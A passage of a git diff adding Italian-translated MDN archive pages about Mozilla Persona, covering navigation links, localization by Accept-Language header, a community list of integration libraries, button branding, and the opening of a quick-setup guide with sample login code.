+ <dt><a href="https://developer.mozilla.org/it/docs/Persona/.well-known-browserid">.well-known/browserid</a></dt>
+ <dd>Una panoramica sul file <code>.well-known/browserid</code>, che gli Identity Provider utilizzano per indicare il proprio supporto al protocollo.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Il_progetto_Persona">Il progetto Persona</h2>
+
+<div class="column-container">
+<div class="column-third">
+<dl>
+ <dt><a href="https://developer.mozilla.org/it/docs/Persona/Glossary">Glossario</a></dt>
+ <dd>Definizioni sulla terminologia di BrowserID e Persona.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/Persona/FAQ">FAQ</a></dt>
+ <dd>Risposte alle domande più comuni.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/Persona/Protocol_Overview">Visione di insieme del protocollo</a></dt>
+ <dd>Una visione di insieme tecnica a medio livello del protocollo BrowserID sottostante.</dd>
+</dl>
+</div>
+
+<div class="column-third">
+<dl>
+ <dt><a href="https://developer.mozilla.org/it/docs/persona/Crypto">Crittografia</a></dt>
+ <dd>Informazioni riguardo i concetti crittografici che sono alla base di Persona e BrowserID.</dd>
+ <dt><a class="link-https" href="https://github.com/mozilla/id-specs/blob/prod/browserid/index.md">Specifiche</a></dt>
+ <dd>Qui si trovano i dettagli più tecnici.</dd>
+</dl>
+</div>
+
+<div class="column-third">
+<dl>
+ <dt><a href="https://developer.mozilla.org/it/docs/Persona/Bootstrapping_Persona">Il sito di Persona</a></dt>
+ <dd>Per far funzionare Persona stiamo ospitando tre servizi su <a class="link-https" href="https://login.persona.org" rel="freelink">https://login.persona.org</a>: un Identity Provider per quando gli altri non funzionano, un implementazione delle API {{domxref("navigator.id")}}, e un servizio di veifica.</dd>
+ <dt><a href="https://github.com/mozilla/browserid">Il codice sorgente di Persona</a></dt>
+ <dd>Il codice sorgete di persona è su GitHub. Le pull request sono le benvenute!</dd>
+</dl>
+</div>
+</div>
+
+<h2 id="Subnav">Subnav</h2>
+
+<ol>
+ <li><a href="https://developer.mozilla.org/it/docs/Persona#">Usare persona su un sito</a>
+
+  <ol>
+   <li><a href="https://developer.mozilla.org/it/Persona/Why_Persona" title="Why Persona?">Perché usare Persona?</a></li>
+   <li><a href="https://developer.mozilla.org/it/Persona/Quick_setup" title="Quick Start">Per cominciare</a></li>
+   <li><a href="https://developer.mozilla.org/it/Persona/The_implementor_s_guide" title="Implementor's Guide">Consigli per implementare Persona</a></li>
+   <li><a href="https://developer.mozilla.org/it/Persona/Security_Considerations" title="Security Considerations">Considerazioni sulla sicurezza</a></li>
+   <li><a href="https://developer.mozilla.org/it/Persona/Browser_compatibility" title="Browser compatibility">Compatibilità con i browser</a></li>
+   <li><a href="https://developer.mozilla.org/it/Persona/Internationalization" title="Internationalization">Internazionalizzazione</a></li>
+   <li><a href="https://developer.mozilla.org/it/Persona/The_navigator.id_API" title="The navigator.id API">L'API navigator.id</a></li>
+   <li><a href="https://developer.mozilla.org/it/Persona/Remote_Verification_API" title="Remote Verification API">L'API di verifica remota</a></li>
+   <li><a href="https://developer.mozilla.org/it/Persona/Libraries_and_plugins" title="Libraries and plugins">Librerie e plugin</a></li>
+   <li><a href="https://developer.mozilla.org/it/docs/persona/marchio" title="User interface guidelines">Linee guida per l'interfaccia utente</a></li>
+  </ol>
+ </li>
+ <li><a href="https://developer.mozilla.org/it/docs/Persona#">Diventare un Identity Provider</a>
+  <ol>
+   <li><a href="https://developer.mozilla.org/it/Persona/Identity_Provider_Overview" title="IdP Overview">Visione di insieme di Identity Provider</a></li>
+   <li><a href="https://developer.mozilla.org/it/Persona/Implementing_a_Persona_IdP" title="Implementing an IdP">Implementare un Identity Provider</a></li>
+   <li><a href="https://developer.mozilla.org/it/Persona/.well-known-browserid" title=".well-known-browserid format">Formato .well-known-browserid</a></li>
+  </ol>
+ </li>
+ <li><a href="https://developer.mozilla.org/it/docs/Persona#">Il progetto Persona</a>
+  <ol>
+   <li><a href="https://developer.mozilla.org/it/Persona/Glossary" title="Glossary">Glossario</a></li>
+   <li><a href="https://developer.mozilla.org/it/Persona/FAQ" title="FAQ">FAQ</a></li>
+   <li><a href="https://developer.mozilla.org/it/Persona/Bootstrapping_Persona" title="Persona hosted services">Servizi ospitati di Persona</a></li>
+   <li><a href="https://developer.mozilla.org/it/Persona/Protocol_Overview" title="Protocol overview">Visione di insieme del protocollo</a></li>
+   <li><a href="https://developer.mozilla.org/it/Persona/Crypto" title="Crypto">Crittografia</a></li>
+  </ol>
+ </li>
+</ol>
+</div>
diff --git a/files/it/archive/mozilla/persona/internationalization/index.html b/files/it/archive/mozilla/persona/internationalization/index.html
new file mode 100644
index 0000000000..29ebccf30a
--- /dev/null
+++ b/files/it/archive/mozilla/persona/internationalization/index.html
@@ -0,0 +1,49 @@
+---
+title: Internazionalizzazione
+slug: Archive/Mozilla/Persona/Internationalization
+translation_of: Archive/Mozilla/Persona/Internationalization
+---
+<h2 id="What's_localized_in_Persona">What's localized in Persona</h2>
+<p>In the future, the user interface for signing into sites with Persona will be directly integrated into the browser, and thus localized along with the browser's own localization. For browsers without integrated support, Persona's user interface consists of a series of dialogs served from <a href="https://login.persona.org" title="https://login.persona.org">login.persona.org</a>. These dialogs are translated by a team of community volunteers, and more than 45 locales are currently <a href="https://github.com/mozilla/browserid/blob/dev/config/l10n-prod.json" title="https://github.com/mozilla/browserid/blob/dev/config/l10n-prod.json">enabled in production</a>.</p>
+<h2 id="How_Persona_chooses_localizations">How Persona chooses localizations</h2>
+<p>The Persona service selects a language using the <code>Accept-Language</code> header sent alongside the browser's requests. The algorithm used to map an <code>Accept-Language</code> header to a language is the same as that used by <code>mozilla.org</code>:</p>
+<ol>
+ <li>For each language tag in the <code>Accept-Language</code> header:
+  <ul>
+   <li>check if we have an exact match for the language identified by the language tag</li>
+   <li>check if we have an exact match for the language identified by the first part of the language tag</li>
+  </ul>
+ </li>
+ <li>If a match can't be made using rule (1), fall back to en-US. However, en or en-US is almost always the last accept-lang header sent by most browsers.</li>
+</ol>
+<p>For example, the table below lists the language selected for various <code>Accept-Language</code> headers, if the following locales were supported: <code>en-US, es, es-MX</code>:</p>
+<table>
+ <thead>
+  <tr>
+   <th scope="col"><strong>Accept-Language Header</strong></th>
+   <th scope="col"><strong>Selected language</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>es-AR,es;q=0.8,en-us;q=0.5</code></td>
+   <td><code>es</code></td>
+  </tr>
+  <tr>
+   <td><code>es-MX,es;q=0.8,en-us;q=0.5</code></td>
+   <td><code>es-MX</code></td>
+  </tr>
+  <tr>
+   <td><code>e</code><code>s-es,en-us;q=0.5</code></td>
+   <td><code>en-US</code></td>
+  </tr>
+  <tr>
+   <td><code>e</code><code>s-es</code></td>
+   <td><code>en-US</code></td>
+  </tr>
+ </tbody>
+</table>
+<p>There is currently no way for a website to force the dialogs to appear in another language. This is because the Persona UI is logically (and in future native implementations will actually be) part of the browser UI, so its language should be consistent with the language selected for the browser.</p>
+<h2 id="How_you_can_help">How you can help</h2>
+<p>Persona uses Mozilla Verbatim to help volunteers create new translations. If you want to help out, read about <a href="https://developer.mozilla.org/en-US/docs/Localizing_with_Verbatim" title="https://developer.mozilla.org/en-US/docs/Localizing_with_Verbatim">getting started with Verbatim</a> and check out the <a href="https://localize.mozilla.org/projects/browserid/" title="https://localize.mozilla.org/projects/browserid/">"BrowserID" project</a> on Verbatim.</p>
+<p> </p>
diff --git a/files/it/archive/mozilla/persona/libraries_and_plugins/index.html b/files/it/archive/mozilla/persona/libraries_and_plugins/index.html
new file mode 100644
index 0000000000..2e11654b68
--- /dev/null
+++ b/files/it/archive/mozilla/persona/libraries_and_plugins/index.html
@@ -0,0 +1,195 @@
+---
+title: Librerie e plugin
+slug: Archive/Mozilla/Persona/Libraries_and_plugins
+translation_of: Archive/Mozilla/Persona/Libraries_and_plugins
+---
+<p>Want to use Persona on your website or blog? Implementing Persona from scratch <a href="/en-US/docs/Persona/Quick_Setup" title="/en-US/docs/Persona/Quick_Setup">is easy</a>, but the plugins and libraries listed here might get you going faster!<br>
+ <br>
+ This page lists three types of libraries:<br>
+ <br>
+ 1. <strong>Plugins</strong> that integrate Persona with existing frameworks and content management systems<br>
+ 2. <strong>Utility libraries</strong> that are useful when building new plugins or integrating Persona into a site from scratch<br>
+ 3. <strong>Everything else</strong> related to Persona, including libraries for turning your domain into a Persona Identity Provider<br>
+ <br>
+ This is a community-maintained list. If you've created a library or plugin, please add it to this page.</p>
+<div class="note">
+ This page is currently being revised and some plugins may be out of date. Please review plugins before using them.</div>
+<h2 id="Plugins">Plugins</h2>
+<h3 id="Clojure">Clojure</h3>
+<ul>
+ <li>Noir: <a href="https://github.com/tmarble/nongrata" title="https://github.com/tmarble/nongrata">https://github.com/tmarble/nongrata</a></li>
+ <li>ring / cemerick.friend / cljs: <a href="https://github.com/osbert/persona-kit" title="https://github.com/osbert/persona-kit">https://github.com/osbert/persona-kit</a></li>
+</ul>
+<h3 id="Cold_Fusion">Cold Fusion</h3>
+<ul>
+ <li>CFML: <a href="https://github.com/gregmoser/cfpersona" title="https://github.com/gregmoser/cfpersona">https://github.com/gregmoser/cfpersona</a></li>
+</ul>
+<h3 id="Haskell">Haskell</h3>
+<ul>
+ <li>Yesod: <a href="https://github.com/yesodweb/authenticate" title="https://github.com/yesodweb/authenticate">https://github.com/yesodweb/authenticate</a></li>
+</ul>
+<h3 id="Java">Java</h3>
+<ul>
+ <li>Spring: <a href="https://github.com/webdetails/SpringSecurityBrowserID" title="https://github.com/webdetails/SpringSecurityBrowserID">https://github.com/webdetails/SpringSecurityBrowserID</a></li>
+ <li>Lutece: <a href="http://dev.lutece.paris.fr/plugins/module-mylutece-persona/" title="https://dev.lutece.paris.fr/plugins/module-mylutece-persona/">http://dev.lutece.paris.fr/plugins/module-mylutece-persona/</a></li>
+</ul>
+<h3 id="JavaScript">JavaScript</h3>
+<ul>
+ <li>Mootools: <a href="http://mootools.net/forge/p/browserid" title="http://mootools.net/forge/p/browserid">http://mootools.net/forge/p/browserid</a></li>
+ <li>jQuery: <a href="https://github.com/altryne/browserID-jQuery" title="https://github.com/altryne/browserID-jQuery">https://github.com/altryne/browserID-jQuery</a></li>
+ <li>Meteor: <a href="https://github.com/vladikoff/meteor-accounts-persona" title="https://github.com/vladikoff/meteor-accounts-persona">https://github.com/vladikoff/meteor-accounts-persona</a></li>
+</ul>
+<h3 id="Node.js">Node.js</h3>
+<ul>
+ <li>Express: <a href="https://github.com/jbuck/express-persona" title="https://github.com/jbuck/express-persona">https://github.com/jbuck/express-persona</a></li>
+ <li>Express / Jungles: <a href="https://npmjs.org/package/jungles-auth-persona" title="https://npmjs.org/package/jungles-auth-persona">https://npmjs.org/package/jungles-auth-persona</a></li>
+ <li>Passport: <a href="https://github.com/jaredhanson/passport-browserid" title="https://github.com/jaredhanson/passport-browserid">https://github.com/jaredhanson/passport-browserid</a></li>
+ <li>Express / connect - connect-auth: <a href="https://github.com/ciaranj/connect-auth" title="https://github.com/ciaranj/connect-auth">https://github.com/ciaranj/connect-auth</a></li>
+ <li>Persona + LevelDB session storage: <a href="https://github.com/maxogden/doorknob" title="/en-US/docs/">https://github.com/maxogden/doorknob</a></li>
+</ul>
+<h3 id="PHP">PHP</h3>
+<ul>
+ <li>CakePHP: <a href="https://github.com/overflow636/ofbid" title="https://github.com/overflow636/ofbid">https://github.com/overflow636/ofbid</a> and <a href="https://github.com/markomarkovic/cakephp-plugin-persona" title="https://github.com/markomarkovic/cakephp-plugin-persona">https://github.com/markomarkovic/cakephp-plugin-persona</a></li>
+ <li>DokuWiki: <a href="https://github.com/Rudloff/dokuwiki-browserid" title="https://github.com/Rudloff/dokuwiki-browserid">https://github.com/Rudloff/dokuwiki-browserid</a></li>
+ <li>Dotclear: <a href="http://plugins.dotaddict.org/dc2/details/browserID" title="http://plugins.dotaddict.org/dc2/details/browserID">http://plugins.dotaddict.org/dc2/details/browserID</a></li>
+ <li>Drupal: <a href="https://drupal.org/project/persona" title="https://drupal.org/project/persona">https://drupal.org/project/persona</a></li>
+ <li>Elgg: <a href="http://community.elgg.org/plugins/1154520/1.0/persona" title="/en-US/docs/">http://community.elgg.org/plugins/1154520/1.0/persona</a></li>
+ <li>Mediawiki: <a href="http://www.mediawiki.org/wiki/Extension:Persona">http://www.mediawiki.org/wiki/Extension:Persona</a></li>
+ <li>Joomla: <a href="http://extensions.joomla.org/extensions/access-a-security/authentication-cloud-based/18567" title="http://extensions.joomla.org/extensions/access-a-security/authentication-cloud-based/18567">http://extensions.joomla.org/extensions/access-a-security/authentication-cloud-based/18567</a></li>
+ <li>Midgard MVC: <a href="https://github.com/midgardproject/midgardmvc_core/blob/master/services/authentication/browserid.php" title="https://github.com/midgardproject/midgardmvc_core/blob/master/services/authentication/browserid.php">https://github.com/midgardproject/midgardmvc_core/blob/master/services/authentication/browserid.php</a></li>
+ <li>MyBB: <a href="https://github.com/Rudloff/mybb-browserid" title="https://github.com/Rudloff/mybb-browserid">https://github.com/Rudloff/mybb-browserid</a></li>
+ <li>SPIP: <a href="http://www.spip-contrib.net/BrowserID" title="http://www.spip-contrib.net/BrowserID">http://www.spip-contrib.net/BrowserID</a></li>
+ <li>Symfony2: <a href="https://github.com/Proxiweb/PersonaBundle" title="https://github.com/Proxiweb/PersonaBundle">https://github.com/Proxiweb/PersonaBundle</a>, <a href="https://github.com/bitgrave/BGPersonaBundle" title="https://github.com/bitgrave/BGPersonaBundle">https://github.com/bitgrave/BGPersonaBundle</a>, <a href="https://packagist.org/packages/champs-libres/persona-user-bundle">https://packagist.org/packages/champs-libres/persona-user-bundle</a></li>
+ <li>Tiki: <a href="http://dev.tiki.org/Mozilla+Persona" title="http://dev.tiki.org/Mozilla+Persona">http://dev.tiki.org/Mozilla+Persona</a></li>
+ <li>WordPress / bbPress 2: <a href="http://wordpress.org/extend/plugins/browserid/" title="http://wordpress.org/extend/plugins/browserid/">http://wordpress.org/extend/plugins/browserid/</a></li>
+ <li>Yii framework: <a href="https://github.com/KryDos/persona-yii">https://github.com/KryDos/persona-yii</a></li>
+</ul>
+<h3 id="Python">Python</h3>
+<ul>
+ <li>CherryPy: <a href="https://bitbucket.org/jaraco/jaraco.persona">https://bitbucket.org/jaraco/jaraco.persona</a></li>
+ <li>Django: <a href="https://github.com/mozilla/django-browserid" title="https://github.com/mozilla/django-browserid">https://github.com/mozilla/django-browserid</a> (see <a href="http://godjango.com/11-browser-id/" title="http://godjango.com/11-browser-id/">screencast</a>)</li>
+ <li>Django Social Auth: <a href="https://github.com/omab/django-social-auth/blob/master/social_auth/backends/browserid.py" title="https://github.com/omab/django-social-auth/blob/master/social_auth/backends/browserid.py">https://github.com/omab/django-social-auth/blob/master/social_auth/backends/browserid.py</a></li>
+ <li>Django 1.5 and Python 3: <a href="https://github.com/mozillaperu/MozTanta-Persona" title="/en-US/docs/">https://github.com/mozillaperu/MozTanta-Persona</a></li>
+ <li>Flask: <a href="http://pypi.python.org/pypi/Flask-BrowserID" title="http://pypi.python.org/pypi/Flask-BrowserID">http://pypi.python.org/pypi/Flask-BrowserID</a></li>
+ <li>Google App Engine: <a href="https://github.com/psawaya/BrowserID-GAE" title="https://github.com/psawaya/BrowserID-GAE">https://github.com/psawaya/BrowserID-GAE</a></li>
+ <li>Pyramid: <a href="http://www.rfk.id.au/blog/entry/painless-auth-pyramid-browserid/" title="http://www.rfk.id.au/blog/entry/painless-auth-pyramid-browserid/">http://www.rfk.id.au/blog/entry/painless-auth-pyramid-browserid/</a></li>
+ <li>Pyramid: <a href="https://github.com/madjar/pyramid_persona/" title="https://github.com/madjar/pyramid_persona/">https://github.com/madjar/pyramid_persona/</a> (see <a href="http://compiletoi.net/quick-authentication-on-pyramid-with-persona.html" title="http://compiletoi.net/quick-authentication-on-pyramid-with-persona.html">blog post</a>)</li>
+ <li>Repoze: <a href="https://github.com/mozilla-services/repoze.who.plugins.browserid" title="https://github.com/mozilla-services/repoze.who.plugins.browserid">https://github.com/mozilla-services/repoze.who.plugins.browserid</a></li>
+ <li>Tornado: <a href="http://www.peterbe.com/plog/integrate-browserid-in-a-tornado-web-app" title="http://www.peterbe.com/plog/integrate-browserid-in-a-tornado-web-app">http://www.peterbe.com/plog/integrate-browserid-in-a-tornado-web-app</a></li>
+ <li>Twisted: <a href="https://github.com/warner/browserid-cred" title="https://github.com/warner/browserid-cred">https://github.com/warner/browserid-cred</a></li>
+ <li>web.py: <a href="https://github.com/oscarfroberg/browserid-webpy" title="https://github.com/oscarfroberg/browserid-webpy">https://github.com/oscarfroberg/browserid-webpy</a></li>
+ <li>WSGI: <a href="https://github.com/ianb/wsgibrowserid" title="https://github.com/ianb/wsgibrowserid">https://github.com/ianb/wsgibrowserid</a></li>
+</ul>
+<h3 id="Ruby">Ruby</h3>
+<ul>
+ <li>Devise: <a href="https://rubygems.org/gems/devise-browserid" title="https://rubygems.org/gems/devise-browserid">https://rubygems.org/gems/devise-browserid</a></li>
+ <li>Devise: <a href="https://github.com/denschub/devise_browserid_authenticatable" title="https://github.com/denschub/devise_browserid_authenticatable">https://github.com/denschub/devise_browserid_authenticatable</a></li>
+ <li>OmniAuth: <a href="https://github.com/intridea/omniauth-browserid" title="https://github.com/intridea/omniauth-browserid">https://github.com/intridea/omniauth-browserid</a></li>
+ <li>Rails: <a href="http://rubygems.org/gems/browserid-rails" title="http://rubygems.org/gems/browserid-rails">http://rubygems.org/gems/browserid-rails</a></li>
+ <li>Sinatra: <a href="http://rubygems.org/gems/sinatra-browserid" title="http://rubygems.org/gems/sinatra-browserid">http://rubygems.org/gems/sinatra-browserid</a></li>
+ <li>Warden / Rack: <a href="https://rubygems.org/gems/warden-browserid" title="/en-US/en-US/docs/">https://rubygems.org/gems/warden-browserid</a></li>
+</ul>
+<h3 id="Perl">Perl</h3>
+<ul>
+ <li>Plack: <a href="https://metacpan.org/release/Plack-Middleware-Auth-BrowserID">https://metacpan.org/release/Plack-Middleware-Auth-BrowserID</a></li>
+</ul>
+<h3 id="Erlang">Erlang</h3>
+<ul>
+ <li>CouchDB: <a href="https://github.com/iriscouch/browserid_couchdb" title="https://github.com/iriscouch/browserid_couchdb">https://github.com/iriscouch/browserid_couchdb</a></li>
+</ul>
+<h3 id="Miscellaneous">Miscellaneous</h3>
+<ul>
+ <li>Apache: <a href="https://github.com/mozilla/mod_authnz_persona" title="/Link_Type_Article_Title_Lookup_/_Link_Text_Attachments_URL">https://github.com/mozilla/mod_authnz_persona</a></li>
+ <li>Cyrus SASL: <a href="https://github.com/ozten/sasl-browserid" title="https://github.com/ozten/sasl-browserid">https://github.com/ozten/sasl-browserid</a></li>
+ <li>PhoneGap: <a href="https://github.com/couchbaselabs/cordova-browserid" title="https://github.com/couchbaselabs/cordova-browserid">https://github.com/couchbaselabs/cordova-browserid</a></li>
+</ul>
+<p>Didn't see your language or framework listed? <a href="http://identity.mozilla.com/post/31008721633/" title="http://identity.mozilla.com/post/31008721633/">LoginRadius</a>, a hosted authentication widget, offers Persona integration for a wide variety of platforms.</p>
+<h2 id="Verification_Libraries">Verification Libraries</h2>
+<h3 id="Go">Go</h3>
+<ul>
+ <li>persona: <a href="https://github.com/sauerbraten/persona">https://github.com/sauerbraten/persona</a></li>
+</ul>
+<h3 id="Java_2" style="line-height: 20px;">Java</h3>
+<ul>
+ <li><span style="color: rgb(102, 102, 102); font-family: Helvetica, arial, freesans, clean, sans-serif; font-size: 16.363636016845703px; line-height: 20px;">Simple Java BrowserID Verifier</span>: <a href="https://github.com/user454322/browserid-verifier/">https://github.com/user454322/browserid-verifier</a></li>
+</ul>
+<h3 id="Node.js_2">Node.js</h3>
+<ul>
+ <li>browserid-verify: <a href="https://npmjs.org/package/browserid-verify">https://npmjs.org/package/browserid-verify</a></li>
+</ul>
+<h3 id="Perl_2">Perl</h3>
+<ul>
+ <li>Net::BrowserID::Verify: <a href="http://search.cpan.org/perldoc?Net%3A%3ABrowserID%3A%3AVerify">http://search.cpan.org/perldoc?Net::BrowserID::Verify</a></li>
+</ul>
+<h3 id="PHP_2">PHP</h3>
+<ul>
+ <li>auth-browserid: <a href="https://github.com/fmarier/auth-browserid">https://github.com/fmarier/auth-browserid</a></li>
+</ul>
+<h3 id="Ruby_2">Ruby</h3>
+<ul>
+ <li>browserid-verify: <a href="https://rubygems.org/gems/browserid-verify">https://rubygems.org/gems/browserid-verify</a></li>
+</ul>
+<h2 id="Utility_Libraries">Utility Libraries</h2>
+<h3 id="C">C</h3>
+<ul>
+ <li><a href="https://github.com/PADL/gss_browserid" title="https://github.com/PADL/gss_browserid">https://github.com/PADL/gss_browserid</a> (libbrowserid component)</li>
+</ul>
+<h3 id="Go_2">Go</h3>
+<ul>
+ <li><a href="https://github.com/elathan/gobrowserid" title="https://github.com/elathan/gobrowserid">https://github.com/elathan/gobrowserid</a></li>
+</ul>
+<h3 id="Haskell_2">Haskell</h3>
+<ul>
+ <li><a href="http://hackage.haskell.org/package/authenticate" title="http://hackage.haskell.org/package/authenticate">http://hackage.haskell.org/package/authenticate</a></li>
+</ul>
+<h3 id=".Net">.Net</h3>
+<ul>
+ <li><a href="https://github.com/cvrajeesh/NBrowserID" title="https://github.com/cvrajeesh/NBrowserID">https://github.com/cvrajeesh/NBrowserID</a></li>
+ <li><a href="http://www.codeguru.com/csharp/.net/net_asp/using-browserid-authentication-in-asp.net-web-sites.htm" title="http://www.codeguru.com/csharp/.net/net_asp/using-browserid-authentication-in-asp.net-web-sites.htm">http://www.codeguru.com/csharp/.net/net_asp/using-browserid-authentication-in-asp.net-web-sites.htm</a></li>
+ <li><a href="https://github.com/fernandozamoraj/BrowserIdDemoWithMVC3" title="https://github.com/fernandozamoraj/BrowserIdDemoWithMVC3">https://github.com/fernandozamoraj/BrowserIdDemoWithMVC3</a> (see <a href="http://fernandozamorajimenez.blogspot.com/2012/04/integrating-browserid-with-mvc3.html" title="http://fernandozamorajimenez.blogspot.com/2012/04/integrating-browserid-with-mvc3.html">blog post</a>)</li>
+ <li><a href="https://github.com/sergiotapia/ASP.Net-MVC3-Persona-Demo" title="https://github.com/sergiotapia/ASP.Net-MVC3-Persona-Demo">https://github.com/sergiotapia/ASP.Net-MVC3-Persona-Demo</a></li>
+ <li><a href="https://www.nuget.org/packages/Persona">https://www.nuget.org/packages/Persona</a> (MVC3, 4, &amp; 5; integrates with ASP.NET authentication)</li>
+</ul>
+<h3 id="Node.js_3">Node.js</h3>
+<ul>
+ <li><a href="https://github.com/substack/persona-id" title="https://github.com/substack/persona-id">https://github.com/substack/persona-id</a></li>
+ <li><a href="https://github.com/lloyd/node-browserid" title="https://github.com/lloyd/node-browserid">https://github.com/lloyd/node-browserid</a></li>
+</ul>
+<h3 id="PHP_3">PHP</h3>
+<ul>
+ <li><a href="https://github.com/Falco20019/php-browseridlib" title="https://github.com/Falco20019/php-browseridlib">https://github.com/Falco20019/php-browseridlib</a></li>
+ <li><a href="https://github.com/raymondjavaxx/php5-browserid" title="https://github.com/raymondjavaxx/php5-browserid">https://github.com/raymondjavaxx/php5-browserid</a></li>
+</ul>
+<h3 id="Python_2">Python</h3>
+<ul>
+ <li><a href="https://github.com/mozilla/PyBrowserID" title="https://github.com/mozilla/PyBrowserID">https://github.com/mozilla/PyBrowserID</a></li>
+</ul>
+<h3 id="UrWeb">Ur/Web</h3>
+<ul>
+ <li><a href="https://github.com/doublec/urweb-persona">https://github.com/doublec/urweb-persona</a></li>
+</ul>
+<h2 id="Everything_Else">Everything Else</h2>
+<h3 id="Perl_3">Perl</h3>
+<ul>
+ <li>Perl/CGI IdP: <a href="https://github.com/benkard/mulkyid" title="https://github.com/benkard/mulkyid">https://github.com/benkard/mulkyid</a></li>
+</ul>
+<h3 id="Python_3">Python</h3>
+<ul>
+ <li>WSGI IdP: <a href="https://bitbucket.org/djc/persona-totp" title="https://bitbucket.org/djc/persona-totp">https://bitbucket.org/djc/persona-totp</a></li>
+</ul>
+<h3 id="Ruby_3">Ruby</h3>
+<ul>
+ <li>Rack IdP: <a href="https://rubygems.org/gems/browserid-provider" title="https://rubygems.org/gems/browserid-provider">https://rubygems.org/gems/browserid-provider</a> (see <a href="https://rin.no/category/browserid-2/" title="https://rin.no/category/browserid-2/">blog post</a>)</li>
+</ul>
+<h3 id="PHP_4">PHP</h3>
+<ul>
+ <li>Symfony2 IdP: <a href="https://github.com/gigablah/GBPersonaProviderBundle" title="https://github.com/gigablah/persona-provider-bundle">https://github.com/gigablah/GBPersonaProviderBundle</a></li>
+</ul>
+<h3 id="Racket">Racket</h3>
+<ul>
+ <li>web-server module: <a href="https://github.com/cosmez/racket-persona">https://github.com/cosmez/racket-persona</a></li>
+</ul>
+<h3 id="Orchard_CMS" style="line-height: 20px;">Orchard CMS</h3>
+<ul>
+ <li>Mozilla persona sign in module: <a href="https://github.com/grapto/Contrib.Persona">https://github.com/grapto/Contrib.Persona</a></li>
+</ul>
diff --git a/files/it/archive/mozilla/persona/marchio/index.html b/files/it/archive/mozilla/persona/marchio/index.html
new file mode 100644
index 0000000000..e7ac828695
--- /dev/null
+++ b/files/it/archive/mozilla/persona/marchio/index.html
@@ -0,0 +1,13 @@
+---
+title: Personalizzazione dei bottoni
+slug: Archive/Mozilla/Persona/marchio
+translation_of: Archive/Mozilla/Persona/User_interface_guidelines
+---
+<h2 id="I_bottoni_per_l'accesso_con_Persona">I bottoni per l'accesso con Persona</h2>
+<h3 id="Immagini">Immagini</h3>
+<p>I bottoni "Accesso con Persona" sono disponibili in tre colorazioni:</p>
+<p>Scarica (.psd)</p>
+<h3 id="Versioni_basate_su_CSS">Versioni basate su CSS</h3>
+<p><a href="http://sawyerhollenshead.com/" title="http://sawyerhollenshead.com/">Sawyer Hollenshead</a> ha creato un set eccellente di bottoni basati su CSS. <a href="http://dev.sawyerhollenshead.com/mozilla/buttons/buttons.html" title="http://dev.sawyerhollenshead.com/mozilla/buttons/buttons.html">Demo</a> / Scarica (.zip)</p>
+<h2 id="Ulteriori_informazioni">Ulteriori informazioni</h2>
+<p>Puoi trovare ulteriori informazioni sul visual design di Persona alla pagina <a href="http://people.mozilla.org/~smartell/persona/" title="http://people.mozilla.org/~smartell/persona/">style primer di Sean Martell </a>(disponibile solo in Inglese).</p>
diff --git a/files/it/archive/mozilla/persona/quick_setup/index.html b/files/it/archive/mozilla/persona/quick_setup/index.html
new file mode 100644
index 0000000000..076e004ca1
--- /dev/null
+++ b/files/it/archive/mozilla/persona/quick_setup/index.html
@@ -0,0 +1,273 @@
+---
+title: Setup veloce
+slug: Archive/Mozilla/Persona/Quick_Setup
+translation_of: Archive/Mozilla/Persona/Quick_Setup
+---
+<p>Aggiungere il sistema di login Persona al tuo sito richiede solo cinque passaggi:</p>
+
+<ol>
+ <li>Includere la libreria JavaScript di Persona nelle tue pagine.</li>
+ <li>Aggiungere i bottoni di “login” e “logout”.</li>
+ <li>Watch for login and logout actions.</li>
+ <li>Verificare le credenziali dell'utente.</li>
+ <li>Rivedere le best practices.</li>
+</ol>
+
+<p>Dovresti riuscire a implementarlo e farlo funzionare in un solo pomeriggio, ma innanzitutto: se hai intenzione di usare Persona sul tuo sito, <em>per piacere</em> prendi un momento per sottoscrivere la mailing list <a href="https://mail.mozilla.org/listinfo/persona-notices">Persona notices</a>. Genera un traffico estremamente basso, viene solo usata per annunciare cambiamenti o questioni di sicurezza che potrebbero avere un impatto negativo sul tuo sito.</p>
+
+<h2 id="Step_1_Includi_la_libreria_di_Persona">Step 1: Includi la libreria di Persona</h2>
+
+<p>Persona é progettato per essere indipendente dal browser e funzionare bene su <a href="https://developer.mozilla.org/docs/persona/Browser_compatibility">tutti i maggiori browser per desktop e mobile</a>.</p>
+
+<p>Ci aspettiamo che in futuro i browser supporteranno nativamente Persona, ma nel frattempo forniamo una libreria JavaScript che implementa completamente l'interfaccia utente e la parte client-side del protocollo. Includendo questa libreria, i tuoi utenti saranno in grado di registrarsi con Persona anche se il loro browser non lo supporta nativamente.</p>
+
+<p>Questa libreria è caricata nella tua pagina, Persona funziona necessita di ({{ domxref("navigator.id.watch()", "watch()") }}, {{ domxref("navigator.id.request()", "request()") }}, and {{ domxref("navigator.id.logout()", "logout()") }}) sarà disponibile al mondo navigator.id object.</p>
+
+<p>Includere la libreria JavaScript di Persona, tu puoi mettere questo script tag in fondo al <code>body</code> della pagina:</p>
+
+<pre class="brush: html;">&lt;script src="https://login.persona.org/include.js"&gt;&lt;/script&gt;
+</pre>
+
+<p><strong>Devi</strong> includere questo script in ogni pagina dove gli utenti utilizzeranno Persona {{ domxref("navigator.id") }}. Ciò perchè Persona è ancora in svilippo, tu non dovresti auto accogliere il file <code>include.js</code></p>
+
+<h2 id="Step_2_Aggiungere_il_bottone_di_login_e_di_logout">Step 2: Aggiungere il bottone di login e di logout</h2>
+
+<p>Because Persona is designed as a DOM API, you must call functions when a user clicks a login or logout button on your site. To open the Persona dialog and prompt the user to log in, you should invoke {{ domxref("navigator.id.request()") }}. For logout, invoke {{ domxref("navigator.id.logout()") }}. Note, the call to {{ domxref("navigator.id.logout()", "logout()") }} <em>must</em> be made in the click handler of the logout button.</p>
+
+<p>For example:</p>
+
+<pre class="brush: js;">var signinLink = document.getElementById('signin');
+if (signinLink) {
+  signinLink.onclick = function() { navigator.id.request(); };
+}
+
+var signoutLink = document.getElementById('signout');
+if (signoutLink) {
+  signoutLink.onclick = function() { navigator.id.logout(); };
+}
+</pre>
+
+<p>What should those buttons look like? Check out our <a href="https://developer.mozilla.org/docs/persona/branding">Branding Resources</a> page for premade images and CSS-based buttons!</p>
+
+<h2 id="Step_3_Watch_for_login_and_logout_actions">Step 3: Watch for login and logout actions</h2>
+
